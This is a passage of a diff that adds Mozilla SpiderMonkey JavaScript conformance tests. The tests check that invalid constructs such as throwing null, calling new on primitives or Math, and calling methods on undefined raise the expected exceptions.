+ * Author: christine@netscape.com
+ * Date: 31 August 1998
+ */
+var SECTION = "exception-009";
+var VERSION = "JS1_4";
+var TITLE = "Tests for JavaScript Standard Exceptions: SyntaxError";
+var BUGNUMBER= "312964";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+try {
+ expect = "passed: no exception thrown";
+ result = expect;
+ Nested_1();
+} catch ( e ) {
+ result = "failed: threw " + e;
+} finally {
+ new TestCase(
+ SECTION,
+ "nested try",
+ expect,
+ result );
+}
+
+
+test();
+
+function Nested_1() {
+ try {
+ try {
+ } catch (a) {
+ } finally {
+ }
+ } catch (b) {
+ } finally {
+ }
+}
diff --git a/js/src/tests/ecma_2/Exceptions/exception-010-n.js b/js/src/tests/ecma_2/Exceptions/exception-010-n.js
new file mode 100644
index 000000000..46fe72fdd
--- /dev/null
+++ b/js/src/tests/ecma_2/Exceptions/exception-010-n.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*-
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+var SECTION = "exception-010";
+var VERSION = "ECMA_2";
+startTest();
+var TITLE = "Don't Crash throwing null";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+print("Null throw test.");
+print("BUGNUMBER: 21799");
+
+DESCRIPTION = "throw null";
+EXPECTED = "error";
+
+new TestCase( SECTION, "throw null", "error", eval("throw null" ));
+
+test();
+
+print("FAILED!: Should have exited with uncaught exception.");
+
+
diff --git a/js/src/tests/ecma_2/Exceptions/exception-011-n.js b/js/src/tests/ecma_2/Exceptions/exception-011-n.js
new file mode 100644
index 000000000..17f19723d
--- /dev/null
+++ b/js/src/tests/ecma_2/Exceptions/exception-011-n.js
@@ -0,0 +1,26 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*-
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+var SECTION = "exception-011";
+var VERSION = "ECMA_2";
+startTest();
+var TITLE = "Don't Crash throwing undefined";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+print("Undefined throw test.");
+
+DESCRIPTION = "throw undefined";
+EXPECTED = "error";
+
+new TestCase( SECTION, "throw undefined", "error", eval("throw (void 0)") );
+
+test();
+
+print("FAILED!: Should have exited with uncaught exception.");
+
+
+
diff --git a/js/src/tests/ecma_2/Exceptions/expression-001.js b/js/src/tests/ecma_2/Exceptions/expression-001.js
new file mode 100644
index 000000000..90b44839f
--- /dev/null
+++ b/js/src/tests/ecma_2/Exceptions/expression-001.js
@@ -0,0 +1,50 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: expression-001.js
+ Corresponds to: ecma/Expressions/11.12-2-n.js
+ ECMA Section: 11.12
+ Description:
+
+ The grammar for a ConditionalExpression in ECMAScript is a little bit
+ different from that in C and Java, which each allow the second
+ subexpression to be an Expression but restrict the third expression to
+ be a ConditionalExpression. The motivation for this difference in
+ ECMAScript is to allow an assignment expression to be governed by either
+ arm of a conditional and to eliminate the confusing and fairly useless
+ case of a comma expression as the center expression.
+
+ Author: christine@netscape.com
+ Date: 09 september 1998
+*/
+var SECTION = "expression-001";
+var VERSION = "JS1_4";
+var TITLE = "Conditional operator ( ? : )"
+ startTest();
+writeHeaderToLog( SECTION + " " + TITLE );
+
+// the following expression should be an error in JS.
+
+var result = "Failed"
+ var exception = "No exception was thrown";
+
+try {
+ eval("var MY_VAR = true ? \"EXPR1\", \"EXPR2\" : \"EXPR3\"");
+} catch ( e ) {
+ result = "Passed";
+ exception = e.toString();
+}
+
+new TestCase(
+ SECTION,
+ "comma expression in a conditional statement "+
+ "(threw "+ exception +")",
+ "Passed",
+ result );
+
+
+test();
diff --git a/js/src/tests/ecma_2/Exceptions/expression-002.js b/js/src/tests/ecma_2/Exceptions/expression-002.js
new file mode 100644
index 000000000..0110f23b7
--- /dev/null
+++ b/js/src/tests/ecma_2/Exceptions/expression-002.js
@@ -0,0 +1,60 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: expressions-002.js
+ Corresponds to: ecma/Expressions/11.2.1-3-n.js
+ ECMA Section: 11.2.1 Property Accessors
+ Description:
+
+ Try to access properties of an object whose value is undefined.
+
+ Author: christine@netscape.com
+ Date: 09 september 1998
+*/
+var SECTION = "expressions-002.js";
+var VERSION = "JS1_4";
+var TITLE = "Property Accessors";
+writeHeaderToLog( SECTION + " "+TITLE );
+
+startTest();
+
+// go through all Native Function objects, methods, and properties and get their typeof.
+
+var PROPERTY = new Array();
+var p = 0;
+
+// try to access properties of primitive types
+
+OBJECT = new Property( "undefined", void 0, "undefined", NaN );
+
+var result = "Failed";
+var exception = "No exception thrown";
+var expect = "Passed";
+
+try {
+ result = OBJECT.value.valueOf();
+} catch ( e ) {
+ result = expect;
+ exception = e.toString();
+}
+
+
+new TestCase(
+ SECTION,
+ "Get the value of an object whose value is undefined "+
+ "(threw " + exception +")",
+ expect,
+ result );
+
+test();
+
+function Property( object, value, string, number ) {
+ this.object = object;
+ this.string = String(value);
+ this.number = Number(value);
+ this.valueOf = value;
+}
diff --git a/js/src/tests/ecma_2/Exceptions/expression-003.js b/js/src/tests/ecma_2/Exceptions/expression-003.js
new file mode 100644
index 000000000..ba5f9c076
--- /dev/null
+++ b/js/src/tests/ecma_2/Exceptions/expression-003.js
@@ -0,0 +1,55 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: expressions-003.js
+ Corresponds to: ecma/Expressions/11.2.1-3-n.js
+ ECMA Section: 11.2.1 Property Accessors
+ Description:
+
+ Try to access properties of an object whose value is undefined.
+
+ Author: christine@netscape.com
+ Date: 09 september 1998
+*/
+var SECTION = "expressions-003.js";
+var VERSION = "JS1_4";
+var TITLE = "Property Accessors";
+writeHeaderToLog( SECTION + " "+TITLE );
+
+startTest();
+
+// try to access properties of primitive types
+
+OBJECT = new Property( "undefined", void 0, "undefined", NaN );
+
+var result = "Failed";
+var exception = "No exception thrown";
+var expect = "Passed";
+
+try {
+ result = OBJECT.value.toString();
+} catch ( e ) {
+ result = expect;
+ exception = e.toString();
+}
+
+
+new TestCase(
+ SECTION,
+ "Get the toString value of an object whose value is undefined "+
+ "(threw " + exception +")",
+ expect,
+ result );
+
+test();
+
+function Property( object, value, string, number ) {
+ this.object = object;
+ this.string = String(value);
+ this.number = Number(value);
+ this.value = value;
+}
diff --git a/js/src/tests/ecma_2/Exceptions/expression-004.js b/js/src/tests/ecma_2/Exceptions/expression-004.js
new file mode 100644
index 000000000..5bf19d9e5
--- /dev/null
+++ b/js/src/tests/ecma_2/Exceptions/expression-004.js
@@ -0,0 +1,49 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: expression-004.js
+ Corresponds To: 11.2.1-4-n.js
+ ECMA Section: 11.2.1 Property Accessors
+ Description:
+
+ Author: christine@netscape.com
+ Date: 09 september 1998
+*/
+var SECTION = "expression-004";
+var VERSION = "JS1_4";
+var TITLE = "Property Accessors";
+writeHeaderToLog( SECTION + " "+TITLE );
+startTest();
+
+var OBJECT = new Property( "null", null, "null", 0 );
+
+var result = "Failed";
+var exception = "No exception thrown";
+var expect = "Passed";
+
+try {
+ result = OBJECT.value.toString();
+} catch ( e ) {
+ result = expect;
+ exception = e.toString();
+}
+
+new TestCase(
+ SECTION,
+ "Get the toString value of an object whose value is null "+
+ "(threw " + exception +")",
+ expect,
+ result );
+
+test();
+
+function Property( object, value, string, number ) {
+ this.object = object;
+ this.string = String(value);
+ this.number = Number(value);
+ this.value = value;
+}
diff --git a/js/src/tests/ecma_2/Exceptions/expression-005.js b/js/src/tests/ecma_2/Exceptions/expression-005.js
new file mode 100644
index 000000000..c1e76b7c6
--- /dev/null
+++ b/js/src/tests/ecma_2/Exceptions/expression-005.js
@@ -0,0 +1,41 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: expression-005.js
+ Corresponds To: 11.2.2-10-n.js
+ ECMA Section: 11.2.2. The new operator
+ Description:
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "expression-005";
+var VERSION = "JS1_4";
+var TITLE = "The new operator";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var result = "Failed";
+var expect = "Passed";
+var exception = "No exception thrown";
+
+try {
+ result = new Math();
+} catch ( e ) {
+ result = expect;
+ exception = e.toString();
+}
+
+new TestCase(
+ SECTION,
+ "result= new Math() (threw " + exception + ")",
+ expect,
+ result );
+
+test();
diff --git a/js/src/tests/ecma_2/Exceptions/expression-006.js b/js/src/tests/ecma_2/Exceptions/expression-006.js
new file mode 100644
index 000000000..2ab13479a
--- /dev/null
+++ b/js/src/tests/ecma_2/Exceptions/expression-006.js
@@ -0,0 +1,46 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: expression-006.js
+ Corresponds to: 11.2.2-1-n.js
+ ECMA Section: 11.2.2. The new operator
+ Description:
+
+ http://scopus/bugsplat/show_bug.cgi?id=327765
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "expression-006.js";
+var VERSION = "JS1_4";
+var TITLE = "The new operator";
+var BUGNUMBER="327765";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var result = "Failed";
+var exception = "No exception thrown";
+var expect = "Passed";
+
+try {
+ var OBJECT = new Object();
+ result = new OBJECT();
+} catch ( e ) {
+ result = expect;
+ exception = e.toString();
+}
+
+new TestCase(
+ SECTION,
+ "OBJECT = new Object; result = new OBJECT()" +
+ " (threw " + exception +")",
+ expect,
+ result );
+
+test();
+
diff --git a/js/src/tests/ecma_2/Exceptions/expression-007.js b/js/src/tests/ecma_2/Exceptions/expression-007.js
new file mode 100644
index 000000000..3e01e0d8c
--- /dev/null
+++ b/js/src/tests/ecma_2/Exceptions/expression-007.js
@@ -0,0 +1,44 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: expression-007.js
+ Corresponds To: 11.2.2-2-n.js
+ ECMA Section: 11.2.2. The new operator
+ Description:
+
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "expression-007";
+var VERSION = "JS1_4";
+var TITLE = "The new operator";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var result = "Failed";
+var exception = "No exception thrown";
+var expect = "Passed";
+
+try {
+ UNDEFINED = void 0;
+ result = new UNDEFINED();
+} catch ( e ) {
+ result = expect;
+ exception = e.toString();
+}
+
+new TestCase(
+ SECTION,
+ "UNDEFINED = void 0; result = new UNDEFINED()" +
+ " (threw " + exception +")",
+ expect,
+ result );
+
+test();
+
diff --git a/js/src/tests/ecma_2/Exceptions/expression-008.js b/js/src/tests/ecma_2/Exceptions/expression-008.js
new file mode 100644
index 000000000..caf310195
--- /dev/null
+++ b/js/src/tests/ecma_2/Exceptions/expression-008.js
@@ -0,0 +1,41 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: expression-008
+ Corresponds To: 11.2.2-3-n.js
+ ECMA Section: 11.2.2. The new operator
+ Description:
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "expression-008";
+var VERSION = "JS1_4";
+var TITLE = "The new operator";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var NULL = null;
+var result = "Failed";
+var exception = "No exception thrown";
+var expect = "Passed";
+
+try {
+ result = new NULL();
+} catch ( e ) {
+ result = expect;
+ exception = e.toString();
+}
+
+new TestCase(
+ SECTION,
+ "NULL = null; result = new NULL()" +
+ " (threw " + exception +")",
+ expect,
+ result );
+
+test();
diff --git a/js/src/tests/ecma_2/Exceptions/expression-009.js b/js/src/tests/ecma_2/Exceptions/expression-009.js
new file mode 100644
index 000000000..9a997d7fb
--- /dev/null
+++ b/js/src/tests/ecma_2/Exceptions/expression-009.js
@@ -0,0 +1,42 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: expression-009
+ Corresponds to: ecma/Expressions/11.2.2-4-n.js
+ ECMA Section: 11.2.2. The new operator
+ Description:
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "expression-009";
+var VERSION = "JS1_4";
+var TITLE = "The new operator";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var STRING = "";
+
+var result = "Failed";
+var exception = "No exception thrown";
+var expect = "Passed";
+
+try {
+ result = new STRING();
+} catch ( e ) {
+ result = expect;
+ exception = e.toString();
+}
+
+new TestCase(
+ SECTION,
+ "STRING = ''; result = new STRING()" +
+ " (threw " + exception +")",
+ expect,
+ result );
+
+test();
diff --git a/js/src/tests/ecma_2/Exceptions/expression-010.js b/js/src/tests/ecma_2/Exceptions/expression-010.js
new file mode 100644
index 000000000..f8ad983cc
--- /dev/null
+++ b/js/src/tests/ecma_2/Exceptions/expression-010.js
@@ -0,0 +1,43 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: expression-010.js
+ Corresponds To: 11.2.2-5-n.js
+ ECMA Section: 11.2.2. The new operator
+ Description:
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "expression-010";
+var VERSION = "JS1_4";
+var TITLE = "The new operator";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var NUMBER = 0;
+
+var result = "Failed";
+var exception = "No exception thrown";
+var expect = "Passed";
+
+try {
+ result = new NUMBER();
+} catch ( e ) {
+ result = expect;
+ exception = e.toString();
+}
+
+new TestCase(
+ SECTION,
+ "NUMBER=0, result = new NUMBER()" +
+ " (threw " + exception +")",
+ expect,
+ result );
+
+test();
+
diff --git a/js/src/tests/ecma_2/Exceptions/expression-011.js b/js/src/tests/ecma_2/Exceptions/expression-011.js
new file mode 100644
index 000000000..8337b9b76
--- /dev/null
+++ b/js/src/tests/ecma_2/Exceptions/expression-011.js
@@ -0,0 +1,43 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: expression-011.js
+ Corresponds To: ecma/Expressions/11.2.2-6-n.js
+ ECMA Section: 11.2.2. The new operator
+ Description:
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "expression-011";
+var VERSION = "JS1_4";
+var TITLE = "The new operator";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var BOOLEAN = true;
+
+var result = "Failed";
+var exception = "No exception thrown";
+var expect = "Passed";
+
+try {
+ var OBJECT = new BOOLEAN();
+} catch ( e ) {
+ result = expect;
+ exception = e.toString();
+}
+
+new TestCase(
+ SECTION,
+ "BOOLEAN = true; result = new BOOLEAN()" +
+ " (threw " + exception +")",
+ expect,
+ result );
+
+test();
+
diff --git a/js/src/tests/ecma_2/Exceptions/expression-012.js b/js/src/tests/ecma_2/Exceptions/expression-012.js
new file mode 100644
index 000000000..69e39ba47
--- /dev/null
+++ b/js/src/tests/ecma_2/Exceptions/expression-012.js
@@ -0,0 +1,44 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: expression-012.js
+ Corresponds To: ecma/Expressions/11.2.2-6-n.js
+ ECMA Section: 11.2.2. The new operator
+ Description:
+ http://scopus/bugsplat/show_bug.cgi?id=327765
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "expression-012";
+var VERSION = "JS1_4";
+var TITLE = "The new operator";
+var BUGNUMBER= "327765";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var STRING = new String("hi");
+var result = "Failed";
+var exception = "No exception thrown";
+var expect = "Passed";
+
+try {
+ result = new STRING();
+} catch ( e ) {
+ result = expect;
+ exception = e.toString();
+}
+
+new TestCase(
+ SECTION,
+ "STRING = new String(\"hi\"); result = new STRING()" +
+ " (threw " + exception +")",
+ expect,
+ result );
+
+test();
+
diff --git a/js/src/tests/ecma_2/Exceptions/expression-013.js b/js/src/tests/ecma_2/Exceptions/expression-013.js
new file mode 100644
index 000000000..f4986a5c0
--- /dev/null
+++ b/js/src/tests/ecma_2/Exceptions/expression-013.js
@@ -0,0 +1,44 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: expression-013.js
+ Corresponds To: ecma/Expressions/11.2.2-8-n.js
+ ECMA Section: 11.2.2. The new operator
+ Description:
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "expression-013";
+var VERSION = "JS1_4";
+var TITLE = "The new operator";
+var BUGNUMBER= "327765";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var NUMBER = new Number(1);
+
+var result = "Failed";
+var exception = "No exception thrown";
+var expect = "Passed";
+
+try {
+ result = new NUMBER();
+} catch ( e ) {
+ result = expect;
+ exception = e.toString();
+}
+
+new TestCase(
+ SECTION,
+ "NUMBER = new Number(1); result = new NUMBER()" +
+ " (threw " + exception +")",
+ expect,
+ result );
+
+test();
+
diff --git a/js/src/tests/ecma_2/Exceptions/expression-014.js b/js/src/tests/ecma_2/Exceptions/expression-014.js
new file mode 100644
index 000000000..ac2dadaec
--- /dev/null
+++ b/js/src/tests/ecma_2/Exceptions/expression-014.js
@@ -0,0 +1,46 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: expression-014.js
+ Corresponds To: ecma/Expressions/11.2.2-9-n.js
+ ECMA Section: 11.2.2. The new operator
+ Description:
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "expression-014.js";
+var VERSION = "ECMA_1";
+var TITLE = "The new operator";
+var BUGNUMBER= "327765";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var BOOLEAN = new Boolean();
+
+
+var result = "Failed";
+var exception = "No exception thrown";
+var expect = "Passed";
+
+try {
+ result = new BOOLEAN();
+} catch ( e ) {
+ result = expect;
+ exception = e.toString();
+}
+
+new TestCase(
+ SECTION,
+ "BOOLEAN = new Boolean(); result = new BOOLEAN()" +
+ " (threw " + exception +")",
+ expect,
+ result );
+
+test();
+
diff --git a/js/src/tests/ecma_2/Exceptions/expression-015.js b/js/src/tests/ecma_2/Exceptions/expression-015.js
new file mode 100644
index 000000000..4febd4c3c
--- /dev/null
+++ b/js/src/tests/ecma_2/Exceptions/expression-015.js
@@ -0,0 +1,40 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: expression-015.js
+ Corresponds To: ecma/Expressions/11.2.3-2-n.js
+ ECMA Section: 11.2.3. Function Calls
+ Description:
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "expression-015";
+var VERSION = "JS1_4";
+var TITLE = "Function Calls";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var result = "Failed";
+var exception = "No exception thrown";
+var expect = "Passed";
+
+try {
+ eval("result = 3.valueOf();");
+} catch ( e ) {
+ result = expect;
+ exception = e.toString();
+}
+
+new TestCase(
+ SECTION,
+ "3.valueOf()" +
+ " (threw " + exception +")",
+ expect,
+ result );
+
+test();
diff --git a/js/src/tests/ecma_2/Exceptions/expression-016.js b/js/src/tests/ecma_2/Exceptions/expression-016.js
new file mode 100644
index 000000000..9d0bfcef4
--- /dev/null
+++ b/js/src/tests/ecma_2/Exceptions/expression-016.js
@@ -0,0 +1,40 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: expression-016.js
+ Corresponds To: ecma/Expressions/11.2.3-3-n.js
+ ECMA Section: 11.2.3. Function Calls
+ Description:
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "expression-016";
+var VERSION = "JS1_4";
+var TITLE = "Function Calls";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var result = "Failed";
+var exception = "No exception thrown";
+var expect = "Passed";
+
+try {
+ result = (void 0).valueOf();
+} catch ( e ) {
+ result = expect;
+ exception = e.toString();
+}
+
+new TestCase(
+ SECTION,
+ "(void 0).valueOf()" +
+ " (threw " + exception +")",
+ expect,
+ result );
+
+test();
diff --git a/js/src/tests/ecma_2/Exceptions/expression-017.js b/js/src/tests/ecma_2/Exceptions/expression-017.js
new file mode 100644
index 000000000..1e357ead7
--- /dev/null
+++ b/js/src/tests/ecma_2/Exceptions/expression-017.js
@@ -0,0 +1,40 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: expression-07.js
+ Corresponds To: ecma/Expressions/11.2.3-4-n.js
+ ECMA Section: 11.2.3. Function Calls
+ Description:
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "expression-017";
+var VERSION = "JS1_4";
+var TITLE = "Function Calls";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var result = "Failed";
+var exception = "No exception thrown";
+var expect = "Passed";
+
+try {
+ result = nullvalueOf();
+} catch ( e ) {
+ result = expect;
+ exception = e.toString();
+}
+
+new TestCase(
+ SECTION,
+ "null.valueOf()" +
+ " (threw " + exception +")",
+ expect,
+ result );
+
+test();
diff --git a/js/src/tests/ecma_2/Exceptions/expression-019.js b/js/src/tests/ecma_2/Exceptions/expression-019.js
new file mode 100644
index 000000000..76c26bcae
--- /dev/null
+++ b/js/src/tests/ecma_2/Exceptions/expression-019.js
@@ -0,0 +1,44 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: expression-019.js
+ Corresponds To: 11.2.2-7-n.js
+ ECMA Section: 11.2.2. The new operator
+ Description:
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "expression-019";
+var VERSION = "JS1_4";
+var TITLE = "The new operator";
+var BUGNUMBER= "327765";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var result = "Failed";
+var exception = "No exception thrown";
+var expect = "Passed";
+
+try {
+ var STRING = new String("hi");
+ result = new STRING();
+} catch ( e ) {
+ result = expect;
+ exception = e.toString();
+}
+
+new TestCase(
+ SECTION,
+ "var STRING = new String(\"hi\"); result = new STRING();" +
+ " (threw " + exception + ")",
+ expect,
+ result );
+
+test();
+
diff --git a/js/src/tests/ecma_2/Exceptions/function-001.js b/js/src/tests/ecma_2/Exceptions/function-001.js
new file mode 100644
index 000000000..ab8b9fa71
--- /dev/null
+++ b/js/src/tests/ecma_2/Exceptions/function-001.js
@@ -0,0 +1,53 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ * File Name: boolean-001.js
+ * Description:
+ *
+ * http://scopus.mcom.com/bugsplat/show_bug.cgi?id=99232
+ *
+ * eval("function f(){}function g(){}") at top level is an error for JS1.2
+ * and above (missing ; between named function expressions), but declares f
+ * and g as functions below 1.2.
+ *
+ * Fails to produce error regardless of version:
+ * js> version(100)
+ * 120
+ * js> eval("function f(){}function g(){}")
+ * js> version(120);
+ * 100
+ * js> eval("function f(){}function g(){}")
+ * js>
+ * Author: christine@netscape.com
+ * Date: 11 August 1998
+ */
+var SECTION = "function-001.js";
+var VERSION = "JS_12";
+var TITLE = "functions not separated by semicolons are errors in version 120 and higher";
+var BUGNUMBER="10278";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var result = "pass";
+var exception = "no exception thrown";
+
+try {
+ eval("function f(){}function g(){}");
+} catch ( e ) {
+ result = "fail";
+ exception = e.toString();
+}
+
+new TestCase(
+ SECTION,
+ "eval(\"function f(){}function g(){}\") (threw "+exception,
+ "pass",
+ result );
+
+test();
+
diff --git a/js/src/tests/ecma_2/Exceptions/global-001.js b/js/src/tests/ecma_2/Exceptions/global-001.js
new file mode 100644
index 000000000..228b110c8
--- /dev/null
+++ b/js/src/tests/ecma_2/Exceptions/global-001.js
@@ -0,0 +1,45 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: global-001
+ Corresponds To: ecma/GlobalObject/15.1-1-n.js
+ ECMA Section: The global object
+ Description:
+
+ The global object does not have a [[Construct]] property; it is not
+ possible to use the global object as a constructor with the new operator.
+
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "global-001";
+var VERSION = "ECMA_1";
+var TITLE = "The Global Object";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var result = "Failed";
+var exception = "No exception thrown";
+var expect = "Passed";
+
+try {
+ result = new this();
+} catch ( e ) {
+ result = expect;
+ exception = e.toString();
+}
+
+new TestCase(
+ SECTION,
+ "result = new this()" +
+ " (threw " + exception +")",
+ expect,
+ result );
+
+test();
diff --git a/js/src/tests/ecma_2/Exceptions/global-002.js b/js/src/tests/ecma_2/Exceptions/global-002.js
new file mode 100644
index 000000000..1639a34bb
--- /dev/null
+++ b/js/src/tests/ecma_2/Exceptions/global-002.js
@@ -0,0 +1,45 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: global-002
+ Corresponds To: ecma/GlobalObject/15.1-2-n.js
+ ECMA Section: The global object
+ Description:
+
+ The global object does not have a [[Construct]] property; it is not
+ possible to use the global object as a constructor with the new operator.
+
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "global-002";
+var VERSION = "JS1_4";
+var TITLE = "The Global Object";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var result = "Failed";
+var exception = "No exception thrown";
+var expect = "Passed";
+
+try {
+ result = this();
+} catch ( e ) {
+ result = expect;
